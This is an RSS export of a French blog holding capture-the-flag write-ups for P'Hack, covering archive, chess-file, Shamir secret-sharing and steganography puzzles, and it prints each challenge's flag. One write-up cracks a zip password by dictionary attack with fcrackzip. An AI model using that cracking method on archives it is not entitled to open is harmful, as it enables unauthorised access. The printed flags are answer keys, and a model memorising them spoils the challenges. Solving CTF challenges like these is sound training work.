<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Julien Mialon]]></title><description><![CDATA[Développeur passionné, je vous partage ici quelques articles]]></description><link>https://blog.julienmialon.com/</link><image><url>https://blog.julienmialon.com/favicon.png</url><title>Julien Mialon</title><link>https://blog.julienmialon.com/</link></image><generator>Ghost 4.32</generator><lastBuildDate>Mon, 02 Mar 2026 11:54:34 GMT</lastBuildDate><atom:link href="https://blog.julienmialon.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[P'Hack - Mise en bouche]]></title><description><![CDATA[<p>3 challenges ont &#xE9;t&#xE9; release dans les semaines pr&#xE9;c&#xE9;dent le P&apos;Hack pour nous mettre en app&#xE9;tit et patienter avant le d&#xE9;but.</p><h2 id="we-3-checkmate-">WE-3 (Checkmate)</h2><blockquote>Trois semaines avant le CTF, vous avez eu acc&#xE8;s &#xE0; un amuse bouche.</blockquote>]]></description><link>https://blog.julienmialon.com/phack-mise-en-bouche/</link><guid isPermaLink="false">6074751c09b5560001f63f07</guid><category><![CDATA[ctf]]></category><category><![CDATA[ctf-phack]]></category><dc:creator><![CDATA[Julien Mialon]]></dc:creator><pubDate>Mon, 12 Apr 2021 17:26:35 GMT</pubDate><content:encoded><![CDATA[<p>3 challenges ont &#xE9;t&#xE9; release dans les semaines pr&#xE9;c&#xE9;dent le P&apos;Hack pour nous mettre en app&#xE9;tit et patienter avant le d&#xE9;but.</p><h2 id="we-3-checkmate-">WE-3 (Checkmate)</h2><blockquote>Trois semaines avant le CTF, vous avez eu acc&#xE8;s &#xE0; un amuse bouche.<br>Format du flag : PHACK{&lt;md5_du_fichier_en_minuscules&gt;}</blockquote><blockquote>Le fichier &#xE0; l&apos;int&#xE9;rieur de l&apos;archive a &#xE9;t&#xE9; corrompu. Mais c&apos;est quand m&#xEA;me un chouette souvenir, donc vous voulez absolument le r&#xE9;cup&#xE9;rer. Le flag sera le md5sum du fichier corrig&#xE9;, gardez-le pr&#xE9;cieusement d&apos;ici le d&#xE9;but du CTF. <br>Il y a exactement 16 octets &#xE0; corriger. Le mot de passe de l&apos;archive est le nom d&apos;une jolie ville de France, en minuscules. <br><strong><strong>Edit :</strong></strong> Pas de panique, il y a trois possibilit&#xE9;s, toutes valides !</blockquote><p>Fichier: <a href="https://blog.julienmialon.com/uploads/ctf/phack/we3.tar.gz.zip">blog.julienmialon.com/uploads/ctf/phack/we3.tar.gz.zip</a></p><p>Premi&#xE8;re &#xE9;tape ici, il nous faut trouver le mot de passe de l&apos;archive zip, une jolie ville de France &#xE7;a pourrait &#xEA;tre tout et n&apos;importe quoi. On va d&apos;abord r&#xE9;cup&#xE9;rer la liste des villes de France sur le site de l&apos;insee : <a href="https://www.insee.fr/fr/information/2028028">https://www.insee.fr/fr/information/2028028</a> un gros copier coller &#xE0; partir du fichier excel que l&apos;on r&#xE9;cup&#xE8;re nous permet d&apos;avoir toutes nos villes. On colle &#xE7;a dans un fichier texte.</p><!--kg-card-begin: markdown--><p>Ce fichier texte, c&apos;est bien mais les villes ne sont pas en minuscule, une petite commande bash</p>
<pre><code class="language-text">$ cat cities_upper.txt | tr &apos;[:upper:]&apos; &apos;[:lower:]&apos; &gt; cities.txt
</code></pre>
<p>Et voil&#xE0;, on a notre fichier pour cracker l&apos;archive avec fcrackzip.</p>
<pre><code class="language-text">$ fcrackzip --use-unzip --dictionary -p cities.txt challenge.tar.gz.zip
PASSWORD FOUND!!!!: pw == briare
</code></pre>
<p>Maintenant qu&apos;on a notre mot de passe, il ne reste plus qu&apos;&#xE0; d&#xE9;zipper cette archive et aller voir ce qu&apos;il y a dedans. On y trouve un fichier nomm&#xE9; <code>game_0128.bak</code> et qui a le contenu suivant</p>
<pre><code class="language-text">e4.e?.Nf3.???.d4.exd4.Nxd4.Nxd4.?xd4.Nf6.e5.Nh5.g4.f6.gxh5.fxe5.?xe5+.B??.Nc3.d6.Qe4.???.Qxf5.Rf8.Qe4.h6.Bc4.Qd7.???.c5.Re1.b6.B??.Qxb5.Qxe7#
</code></pre>
<p>On compte ici le nombre de <code>?</code> on obtient 16, ce sont donc les &#xE9;l&#xE9;ments &#xE0; corriger. Le fichier ressemble &#xE0; une partie d&apos;&#xE9;chec, on va la rejouer pour essayer de trouver les informations sur les coups manquant. On va sur <a href="https://www.chess.com/analysis">https://www.chess.com/analysis</a> et on commence &#xE0; rejouer notre partie jusqu&apos;&#xE0; trouver l&apos;int&#xE9;gralit&#xE9; des coups manquant.<br>
On fini avec la partie compl&#xE8;te</p>
<pre><code class="language-text">e4.e5.Nf3.Nc6.d4.exd4.Nxd4.Nxd4.Qxd4.Nf6.e5.Nh5.g4.f6.gxh5.fxe5.Qxe5+.Be7.Nc3.d6.Qe4.Bf5.Qxf5.Rf8.Qe4.h6.Bc4.Qd7.Kd1.c5.Re1.b6.Bb5.Qxb5.Qxe7#
</code></pre>
<p>&#xC0; noter qu&apos;une alternative &#xE9;tait &#xE9;galement possible en trouvant cette version :</p>
<pre><code class="language-text">e4.e5.Nf3.Nc6.d4.exd4.Nxd4.Nxd4.Qxd4.Nf6.e5.Nh5.g4.f6.gxh5.fxe5.Qxe5+.Be7.Nc3.d6.Qe4.Bf5.Qxf5.Rf8.Qe4.h6.Bc4.Qd7.Kd2.c5.Re1.b6.Bb5.Qxb5.Qxe7#
</code></pre>
<p>il ne reste plus qu&apos;&#xE0; calculer le md5 de notre fichier r&#xE9;par&#xE9; et on peut soumettre le flag suivant</p>
<pre><code class="language-text">PHACK{cb51e1b764c10a01c5983e99f3d8d386}
</code></pre>
<!--kg-card-end: markdown--><h2 id="we-2-zipline-">WE-2 (Zipline)</h2><blockquote>Deux semaines avant le CTF, vous avez eu acc&#xE8;s &#xE0; un amuse bouche.</blockquote><blockquote>on vient de trouver ce fichier sur une cl&#xE9; USB sur le trottoir en face de chez @lulu. On pense qu&apos;il y a des infos int&#xE9;ressantes dessus. On vous laisse regarder !</blockquote><p>Fichier : <a href="https://blog.julienmialon.com/uploads/ctf/phack/w2.zip">https://blog.julienmialon.com/uploads/ctf/phack/w2.zip</a></p><!--kg-card-begin: markdown--><p>On d&#xE9;zippe l&apos;archive, on obtient 2 fichiers : <code>password.lst</code> et <code>flag.rar</code>, on extrait flag.rar, on trouve une autre archive, on recommence, encore une autre... On doit pouvoir faire quelque chose de plus optimis&#xE9; ici. Un petit script bash &#xE0; la rescousse</p>
<pre><code class="language-bash">#!/bin/bash

rm -rf flag
while true; do
    for archive in $(ls *.rar *.zip *.tar.gz 2&gt;&gt;/dev/null); do
        ext=${archive##*.}
        filename=${archive%.*}

        if [ &quot;$ext&quot; = &quot;rar&quot; ];then
            echo &quot;rar file: $archive&quot;
            unrar x $archive $filename/ &gt;&gt;/dev/null 2&gt;&gt; /dev/null
        elif [ &quot;$ext&quot; = &quot;zip&quot; ]; then
            echo &quot;zip file: $archive&quot;
            unzip $archive -d $filename &gt;&gt;/dev/null 2&gt;&gt; /dev/null
        elif [ &quot;$ext&quot; = &quot;gz&quot; ]; then
            echo &quot;gz file: $archive&quot;
            filename=${filename%.*}
            mkdir $filename
            tar xvf $archive -C ./$filename &gt;&gt;/dev/null 2&gt;&gt; /dev/null
        else
            echo &quot;UNKNOWN file: $archive&quot;
            exit
        fi

        cd $filename
    done
done
</code></pre>
<p>&#xC0; chaque fois que le script se met en pause, on lui donne un mot de passe provenant du fichier fourni et contrairement &#xE0; l&apos;ordre dans le fichier, l&apos;ordre des mots de passe est</p>
<pre><code class="language-text">@Eagleslam
@Vayne
@Pdrooo
@lulu
</code></pre>
<p>On se retrouve &#xE0; la fin avec la sortie suivante :</p>
<pre><code class="language-text">gz file: P.tar.gz
zip file: H.zip
rar file: A.rar
gz file: C.tar.gz
zip file: K.zip
rar file: {.rar
gz file: R.tar.gz
zip file: 3.zip
rar file: a.rar
gz file: d.tar.gz
zip file: y.zip
rar file: _.rar
gz file: 4.tar.gz
zip file: _.zip
rar file: a.rar
gz file: _.tar.gz
zip file: z.zip
rar file: 1.rar
gz file: p.tar.gz
zip file: l.zip
rar file: 1.rar
gz file: n.tar.gz
zip file: 3.zip
rar file: _.rar
gz file: r.tar.gz
zip file: 1.zip
rar file: d.rar
gz file: 3.tar.gz
zip file: }.zip
</code></pre>
<p>Ok donc les noms des derni&#xE8;res archives forment le flag, on met cette sortie dans un fichier, on passe la commande suivante et on r&#xE9;cup&#xE8;re le flag</p>
<pre><code class="language-text">$ cat out.txt | cut -d&apos; &apos; -f3 | cut -d&apos;.&apos; -f1 | tr -d &apos;[:space:]&apos;
PHACK{R3ady_4_a_z1pl1n3_r1d3}
</code></pre>
<!--kg-card-end: markdown--><h2 id="we-1-flagclub-">WE-1 (FlagClub)</h2><blockquote>Une semaine avant le CTF, vous avez eu acc&#xE8;s &#xE0; un amuse bouche.</blockquote><blockquote>Je vous transmets ce message que je viens de recevoir &#xE0; votre attention :</blockquote><pre><code>La premi&#xE8;re r&#xE8;gle du Flag Club est : il est interdit de parler du Flag Club.
La seconde r&#xE8;gle du Flag Club est : il est interdit de parler du Flag Club.
Troisi&#xE8;me r&#xE8;gle du Flag Club : rassemblez cinq morceaux de secret pour reconstituer le flag.
Quatri&#xE8;me r&#xE8;gle : les points rapport&#xE9;s par ce challenge uniquement seront d&#xE9;gressifs, en fonction du nombre de r&#xE9;solution.
Cinqui&#xE8;me r&#xE8;gle : coop&#xE9;rer ou non, mentir ou dire la v&#xE9;rit&#xE9;, la d&#xE9;cision vous revient.
Sixi&#xE8;me r&#xE8;gle : pour ce challenge uniquement, les &#xE9;changes d&apos;informations entre les &#xE9;quipes sont autoris&#xE9;s.
Septi&#xE8;me r&#xE8;gle : le challenge continuera aussi longtemps que n&#xE9;cessaire.

    - Adi Shamir</code></pre><blockquote>&#xC9;tait &#xE9;galement joint ceci :</blockquote><pre><code>15-d76439aa22a213f152efe19b351b19a78ad4d7eeba72a9a38944269499785a19a629d13655693005de16d9df293477c71c7e8e1e7af006746d4bf753e4b1345023c9aced288c92a00b24e22a901cbc3b4d7567392d8df641b2ed9637444413d359</code></pre><blockquote>Voyez ce que vous pouvez en tirer !</blockquote><p>Un petit coup de Google sur Adi Shamir et on apprend qu&apos;en plus d&apos;avoir invent&#xE9; RSA, il a aussi invent&#xE9; une m&#xE9;thode de partage de secret <a href="https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing">https://en.wikipedia.org/wiki/Shamir&apos;s_Secret_Sharing</a>. Du coup c&apos;est clairement l&#xE0; dessus qu&apos;on s&apos;oriente. On commence &#xE0; &#xE9;changer les secrets avec les autres &#xE9;quipes, certaines nous donneront des faux, d&apos;autre des vrais... On a de toute mani&#xE8;re aucun moyen de les v&#xE9;rifier pour le moment. </p><!--kg-card-begin: markdown--><p>Une fois 5 bouts de secret en notre possession, on tente de d&#xE9;crypter avec <code>ssss-combine</code> bon a priori on en a au moins un de faux dans cette histoire, on continue notre chasse au secret jusqu&apos;&#xE0; en r&#xE9;cup&#xE9;rer une dizaine. &#xC0; ce moment l&#xE0; il nous faut tester toutes les combinaisons de 4 + le notre pour trouver le flag. On &#xE9;crit un petit script python pour g&#xE9;n&#xE9;rer &#xE7;a pour nous :</p>
<pre><code class="language-python">import random
import itertools
import os

good=&quot;15-d76439aa22a213f152efe19b351b19a78ad4d7eeba72a9a38944269499785a19a629d13655693005de16d9df293477c71c7e8e1e7af006746d4bf753e4b1345023c9aced288c92a00b24e22a901cbc3b4d7567392d8df641b2ed9637444413d359&quot;

items = [
&quot;14-b02a048aa9cad4fe1ea3e0d206ed49ab081be6ce85fb38263c3803494e59d357db9a4eebfcbee0e4b57f5f837025e2dd9f3e583c37d9c61351a2dd100aaf3f87f3e94eed849830fe11390904ff009521e318126336cde45052f963b2a6395e2677&quot;,
&quot;29-4f05311b227c65a883bb76946a7745557551617d08acbf522cd21541d79164d42aa080a03ec69ae9dd8bbac3273c724847bea4c35604e59cfb6a3f00853829416d894ab90f13afdf405e0839dae080165d81ceaf932f37b4a91de83aaf695c6780&quot;,
&quot;01-e31f57a97d924f8dc38b840d745f1df88a70517075498ba751f6c59a15766e6b98a86235eaef26d213dcdc5b8f6d627e02158c6e4d31187b25af27f933f13bd2c7c7ebbb434b11962089f56646b8a9d7b33eda50033fc4dacbe1170b79277256b6&quot;,
&quot;22-eb9075cb28f7fb2752b141f2db3fce9d40dc86ea40d87ba0360f4be4ab844818b7e1c3b02fd2caf8ffe1c80513df3f28f6477a597f9c0128e3d0f9645d61bad74542efceae9519d7613da514d277d4687cdd66d6251f2c049e8f863fa5734c3c1e&quot;,
&quot;23-439352a2a6f0091424d7dc4d2a56f58bb98d974518b732e7c12931b7b9c4e96f7354d724c08c571fb1eace80c144e5571303ab4c26f8e9996aec502336b0799d142448ba07950d289dd7f555bdbf4290e8e7c62ecf75c2624884ab8aa148c905ff&quot;,
&quot;26-740c4aec357d902cbf3466d454009fa60afc922ece84b756a72743939be3d8bd83bb61e283f88169d507dd08b9c34fbf8ddeb7ae2b52c7c0c67482118d34c723974481b37d73126f08ae5f5689c6de4c6f42ceb7721b2d32f2371e110f344b2381&quot;,
&quot;38-4b8af6c974828dd6c60ab544e3c273a8b7c1b4ee773076982ef70ddab62944798c43eb62f1cc25d989d26e02ade2132ee3d18d619b20a5126a94b02d0144152a22e9e303ee4ae22e08f59a5663428146a605b26c3ded23f9f1cca6ef07a2f0f6b5&quot;,
&quot;41-7823d706020876f8012e40e6764df2e5799e10cd0fe6691dcbdf3d918f39c7808aa0fe887c46a26337ba176fd1b1e828f44e7f3ed8b80a0849c94f8c6231f92861d02ea0a61ad5d01e8129441eb1b5c2bf9477cc2a229453d585b2d988bf5b44ed&quot;,
&quot;49-cc4a369161b116284dd799e608d67e482daf1ee5609cc441a15aeb00b1f9d8b21666edc9fbdca3cdce9c091088167cba793b7048ad710a2b62708d45b2f8f9c0b89dcda0a16a5178478b083d9f25f0d8b94d90299805900073f085fbcfd85bfc96&quot;,
&quot;09-e9bef1226c045c195fa8df6fc85cbbe7f4379fc039855dd4b9f1b9c242c997b8d9fefd45196700ef92b8be9f8347f517179fa1bc5e7d9ba16ce32e402ef7a9a49b9762cdf1fbd8850662f6e573d667939a39ca6ec1e496428a854565a9c1d37685&quot;
]
result=list(itertools.combinations(items, 4))
for i in result:
    i = list(i)
    i.append(good)
    data = &apos;\n&apos;.join(i) + &apos;\n&apos;
    f = open(&apos;input.txt&apos;, &apos;w&apos;)
    f.write(data)
    f.close()
    print(&quot;Test with: &quot;, list([x.split(&apos;-&apos;)[0] for x in i]))
    os.system(&apos;ssss-combine -t 5 &lt; input.txt 2&gt;&gt; out.txt&apos;)
</code></pre>
<p>Itertools nous g&#xE9;n&#xE8;re toutes les combinaisons, on g&#xE9;n&#xE8;re un fichier contenant notre bout de secret + les 4 de chaque combinaison qu&apos;on passe ensuite &#xE0; la commande <code>ssss-combine</code>. (On redirige la sortie d&apos;erreur parce que le r&#xE9;sultat est &#xE9;crit dans la sortie d&apos;erreur avec cet outil...) Un grep sur le fichier r&#xE9;sultant et on trouve le flag</p>
<pre><code class="language-text">PHACK{And the eighth and final rule, if this is your first night at Flag Club, you have to flag!}
</code></pre>
<p>Et il s&apos;av&#xE8;re que sur 10 secrets r&#xE9;cup&#xE9;r&#xE9;s, seuls 5 &#xE9;taient valides.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[P'Hack - Stegano]]></title><description><![CDATA[<h2 id="strong-daddy-128pts">Strong Daddy - 128pts</h2><blockquote>Ton pote se vante car son p&#xE8;re est militaire dans l&apos;arm&#xE9;e de terre et il lui aurait soit-disant appris toutes les techniques pour pouvoir &#xE9;changer des messages sans que l&apos;ennemi ne puisse comprendre. <br><br>Il est temps de</blockquote>]]></description><link>https://blog.julienmialon.com/phack-stegano/</link><guid isPermaLink="false">6073010709b5560001f63be6</guid><category><![CDATA[ctf]]></category><category><![CDATA[ctf-phack]]></category><category><![CDATA[ctf-stegano]]></category><dc:creator><![CDATA[Julien Mialon]]></dc:creator><pubDate>Mon, 12 Apr 2021 16:19:02 GMT</pubDate><content:encoded><![CDATA[<h2 id="strong-daddy-128pts">Strong Daddy - 128pts</h2><blockquote>Ton pote se vante car son p&#xE8;re est militaire dans l&apos;arm&#xE9;e de terre et il lui aurait soit-disant appris toutes les techniques pour pouvoir &#xE9;changer des messages sans que l&apos;ennemi ne puisse comprendre. <br><br>Il est temps de montrer &#xE0; cette t&#xEA;te de noeud qu&apos;il n&apos;est pas aussi fort qu&apos;il le pr&#xE9;tend</blockquote><!--kg-card-begin: markdown--><pre><code class="language-text">Papa Alpha Papa Alpha
Hotel Oscar Tango Echo Lima
Alpha Lima Papa Hotel Alpha
Charlie Hotel Alpha Romeo Lima India Echo
Kilo India Lima Oscar
Alpha Charlie Charlie Oscar Lima Alpha Delta Echo Golf Alpha Uniform Charlie Hotel Echo
Whisky Hotel India Sierra Kilo Yankee
Tango Hotel Romeo Echo Echo
India November Delta India Alpha
Romeo Oscar Mike Echo Oscar
Delta Echo Lima Tango Alpha
Tango Hotel Romeo Echo Echo
Sierra India Echo Romeo Romeo Alpha
Tango Alpha November Golf Oscar
Uniform November Delta Echo Romeo Sierra Charlie Oscar Romeo Echo
Foxtrot India Victor Echo
Tango Alpha November Golf Oscar
Tango Hotel Romeo Echo Echo
Golf Oscar Lima Foxtrot
Alpha Lima Papa Hotel Alpha
November Oscar Victor Echo Mike Bravo Echo Romeo
Zulu Echo Romeo Oscar
Uniform November Delta Echo Romeo Sierra Charlie Oscar Romeo Echo
Tango Hotel Romeo Echo Echo
Victor India Charlie Tango Oscar Romeo
Tango Hotel Romeo Echo Echo
Romeo Oscar Mike Echo Oscar
Alpha Charlie Charlie Oscar Lima Alpha Delta Echo Delta Romeo Oscar India Tango Echo
</code></pre>
<p>Tout &#xE7;a ressemble beaucoup &#xE0; un message radio o&#xF9; on utilise un mot au lieu d&apos;&#xE9;peler chaque lettre pour &#xEA;tre sur de la bonne r&#xE9;c&#xE9;ption. Un petit tour sur Wikip&#xE9;dia nous en apprend un peu plus.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://en.wikipedia.org/wiki/NATO_phonetic_alphabet"><div class="kg-bookmark-content"><div class="kg-bookmark-title">NATO phonetic alphabet - Wikipedia</div><div class="kg-bookmark-description"></div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://en.wikipedia.org/static/apple-touch/wikipedia.png" alt><span class="kg-bookmark-author">Wikimedia Foundation, Inc.</span><span class="kg-bookmark-publisher">Contributors to Wikimedia projects</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e0/FAA_Phonetic_and_Morse_Chart2.svg/1200px-FAA_Phonetic_and_Morse_Chart2.svg.png" alt></div></a></figure><!--kg-card-begin: markdown--><p>On se rend compte ici que r&#xE9;cup&#xE9;rer uniquement les lettres majuscules &#xE0; l&apos;air d&apos;&#xEA;tre suffisant pour r&#xE9;cup&#xE9;rer un message un peu plus lisible. On voit notamment que les premi&#xE8;res lettres des 5 lignes forment le mot PHACK, &#xE7;a semble &#xEA;tre une bonne piste. On met tout &#xE7;a dans un fichier <code>input.txt</code> et un petit coup de la commande sed va nous permettre de se d&#xE9;barasser des minuscules et des espaces.</p>
<pre><code class="language-text">$ cat input.txt | sed &apos;s/[a-z ]//g&apos;
PAPA
HOTEL
ALPHA
CHARLIE
KILO
ACCOLADEGAUCHE
WHISKY
THREE
INDIA
ROMEO
DELTA
THREE
SIERRA
TANGO
UNDERSCORE
FIVE
TANGO
THREE
GOLF
ALPHA
NOVEMBER
ZERO
UNDERSCORE
THREE
VICTOR
THREE
ROMEO
ACCOLADEDROITE
</code></pre>
<p>On voit un pattern &#xE9;merger ici, pour la plupart des mots qu&apos;il nous reste, il suffit de r&#xE9;cup&#xE9;rer leur premi&#xE8;re lettre. &#xC0; l&apos;exception des chiffres et des deux mentions ACCOLADEGAUCHE et ACCOLADEDROITE. On r&#xE9;&#xE9;crit tout &#xE7;a avec un seul caract&#xE8;re pour chaque ligne et on r&#xE9;cup&#xE8;re un flag o&#xF9; je ne m&apos;y connais pas !</p>
<pre><code class="language-text">PHACK{W3IRD3ST_5T3GAN0_3V3R}
</code></pre>
<!--kg-card-end: markdown--><h2 id="caumunikassion-128pts">Caumunikassion - 128pts</h2><blockquote>Le nouveau stagiaire en communication du P&apos;Hack CTF nous semble &#xE9;trange. Nous avons peur qu&apos;il utilise ses comp&#xE9;tences pour exfiltrer des informations sensibles. Il a principalement travaill&#xE9; sur le site <a href="https://ctf.phack.fr">https://ctf.phack.fr</a>.</blockquote><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-24.png" class="kg-image" alt loading="lazy" width="669" height="627" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-24.png 600w, https://blog.julienmialon.com/content/images/2021/04/image-24.png 669w"></figure><p>On r&#xE9;cup&#xE8;re ici le logo de l&apos;&#xE9;v&#xE8;nement et on le passe dans <a href="https://aperisolve.fr/">https://aperisolve.fr/</a> pour d&#xE9;couvrir une URL cach&#xE9;e dans l&apos;image dans les donn&#xE9;es EXIF : <a href="https://pastebin.com/raw/xjyzhxYZ">https://pastebin.com/raw/xjyzhxYZ</a>. Une fois le pastebin ouvert, on r&#xE9;cup&#xE8;re le flag.</p><!--kg-card-begin: markdown--><pre><code class="language-text">PHACK{e4sy_st3g4n0_rigH7?}
</code></pre>
<!--kg-card-end: markdown--><p><em>L&apos;image est disponible ici : <a href="https://blog.julienmialon.com/uploads/ctf/phack/phack_white.png">https://blog.julienmialon.com/uploads/ctf/phack/phack_white.png</a></em></p><h2 id="chasse-aux-oeufs-128pts">Chasse aux oeufs - 128pts</h2><blockquote>Nous n&apos;avons pas pu vous organiser une chasse aux oeufs IRL. Pour compenser nous vous laissons trouver le flag dans cette chasse aux oeufs virtuelle.</blockquote><p><em>Fichier disponible ici <a href="https://blog.julienmialon.com/uploads/ctf/phack/easter-eggs.png">https://blog.julienmialon.com/uploads/ctf/phack/easter-eggs.png</a></em></p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-25.png" class="kg-image" alt loading="lazy" width="2000" height="1296" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-25.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-25.png 1000w, https://blog.julienmialon.com/content/images/size/w1600/2021/04/image-25.png 1600w, https://blog.julienmialon.com/content/images/size/w2400/2021/04/image-25.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>On se retrouve ici avec une illustration et d&apos;apr&#xE8;s le challenge, il faut trouver les oeufs. Un petit tour dans aperi&apos;solve ne donne rien, on se met donc &#xE0; la recherche manuelle des oeufs dans l&apos;image. Au bout de quelques minutes on a nos 14 oeufs</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-26.png" class="kg-image" alt loading="lazy" width="2000" height="1296" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-26.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-26.png 1000w, https://blog.julienmialon.com/content/images/size/w1600/2021/04/image-26.png 1600w, https://blog.julienmialon.com/content/images/size/w2400/2021/04/image-26.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Apr&#xE8;s avoir vainement essay&#xE9; de relier les oeufs entre eux pour voir ce que &#xE7;a pouvait donner et n&apos;avoir obtenu aucun r&#xE9;sultat, on extrait les oeufs dans un fichier &#xE0; part pour que ce soit plus clair </p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-27.png" class="kg-image" alt loading="lazy" width="365" height="122"></figure><p>Et l&#xE0;, il y a deux choses qui saute aux yeux : </p><ul><li>Premi&#xE8;rement, chaque oeuf est d&apos;une couleur unie</li><li>Deuxi&#xE8;mement on en a tout de m&#xEA;me plusieurs dans des tons tr&#xE8;s proche (violet, vert moche)</li></ul><p>Souvenir d&apos;un ancien CTF, est-ce que les codes RGB de chaque couleur pourrait &#xEA;tre un indice ? On est parti pour extraire chaque code couleur</p><!--kg-card-begin: markdown--><pre><code class="language-text">01 #504841
02 #434B7B
03 #5F4567
04 #676333
05 #6C6C33
06 #6E745F
07 #636834
08 #6C6C33
09 #6E6733
10 #5F3173
11 #6E2774
12 #5F6974
13 #5F3F21
14 #3F5F7D
</code></pre>
<p>Vu les plages de valeur en hexa, j&apos;ai bien envie d&apos;en faire de l&apos;ascii pour voir ce qu&apos;il en ressort. On met tout &#xE7;a en une ligne avec un espace entre chaque doublet hexa :</p>
<pre><code class="language-text">50 48 41 43 4B 7B 5F 45 67 67 63 33 6C 6C 33 6E 74 5F 63 68 34 6C 6C 33 6E 67 33 5F 31 73 6E 27 74 5F 69 74 5F 3F 21 3F 5F 7D 
</code></pre>
<p>On utilise ensuite un convertisseur en ligne <a href="https://www.rapidtables.com/convert/number/hex-to-ascii.html">https://www.rapidtables.com/convert/number/hex-to-ascii.html</a> et on obtient le flag.</p>
<pre><code class="language-text">PHACK{_Eggc3ll3nt_ch4ll3ng3_1sn&apos;t_it_?!?_}
</code></pre>
<!--kg-card-end: markdown--><h2 id="alter-egg-o-256pts">Alter Egg-o - 256pts</h2><blockquote>L&apos;agent Smith de la HSA (Hack Secret Agency) a retir&#xE9; trop rapidement la cl&#xE9; USB de son PC (ce n00b !!). La preuve qu&apos;il voulait vous montrer semble corrompue. <br><br>Montrer lui que vous pouvez lui sauver la mise et r&#xE9;cup&#xE9;rer ce fichier.</blockquote><p><em>Fichier disponible ici <a href="https://blog.julienmialon.com/uploads/ctf/phack/altered.png">https://blog.julienmialon.com/uploads/ctf/phack/altered.png</a></em></p><p>Franchement cet agent Smith il aurait pu faire attention non ? Bon, est-ce qu&apos;on peut quand m&#xEA;me faire quelque chose pour lui ? On tente d&apos;ouvrir le fichier et on re&#xE7;oit une belle erreur &quot;format de fichier non pris en charge&quot;. </p><!--kg-card-begin: markdown--><p>On tente la commande file qui pourrait nous indiquer si contrairement &#xE0; son extension, ce n&apos;&#xE9;tait pas un fichier PNG mais autre chose :</p>
<pre><code class="language-text">$ file altered.png 
altered.png: data
</code></pre>
<p>Si file ne re&#xE7;onnait pas ce que c&apos;est non plus, on sort l&apos;artillerie lourde et on lance binwalk pour savoir ce qu&apos;il nous trouve dans le fichier</p>
<pre><code class="language-text">$ binwalk altered.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            Zlib compressed data, best compression
8596          0x2194          Zlib compressed data, best compression
</code></pre>
<p>Des donn&#xE9;es compr&#xE9;ss&#xE9;es avec Zlib, bon &#xE7;a ressemble bien &#xE0; un PNG cette histoire. Il est temps d&apos;aller faire un tour avec un &#xE9;diteur hexa dans ce fichier.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-28.png" class="kg-image" alt loading="lazy" width="617" height="111" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-28.png 600w, https://blog.julienmialon.com/content/images/2021/04/image-28.png 617w"></figure><!--kg-card-begin: markdown--><p>Et l&#xE0;, on voit un header de fichier qui commence par <code>DEADBEEF</code> on va faire un tour du c&#xF4;t&#xE9; de la sp&#xE9;cification des fichiers PNG <a href="http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html">http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html</a> et on s&apos;aper&#xE7;oit que le header d&apos;un fichier PNG est compos&#xE9; de 8 octets constants. Ici les 4 premiers ont &#xE9;t&#xE9; alt&#xE9;r&#xE9;. Rectifions &#xE7;a.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-29.png" class="kg-image" alt loading="lazy" width="621" height="107" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-29.png 600w, https://blog.julienmialon.com/content/images/2021/04/image-29.png 621w"></figure><p>Parfait, on ouvre maintenant notre image et tout s&apos;affiche correctement !</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-30.png" class="kg-image" alt loading="lazy" width="1250" height="703" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-30.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-30.png 1000w, https://blog.julienmialon.com/content/images/2021/04/image-30.png 1250w" sizes="(min-width: 720px) 720px"></figure><p>On r&#xE9;cup&#xE8;re le flag et on est bon ! </p><!--kg-card-begin: markdown--><pre><code class="language-text">PHACK{ju5t_ch4ng3d_a_m4gic_nUmb3R_i5_i7_b4d?}
</code></pre>
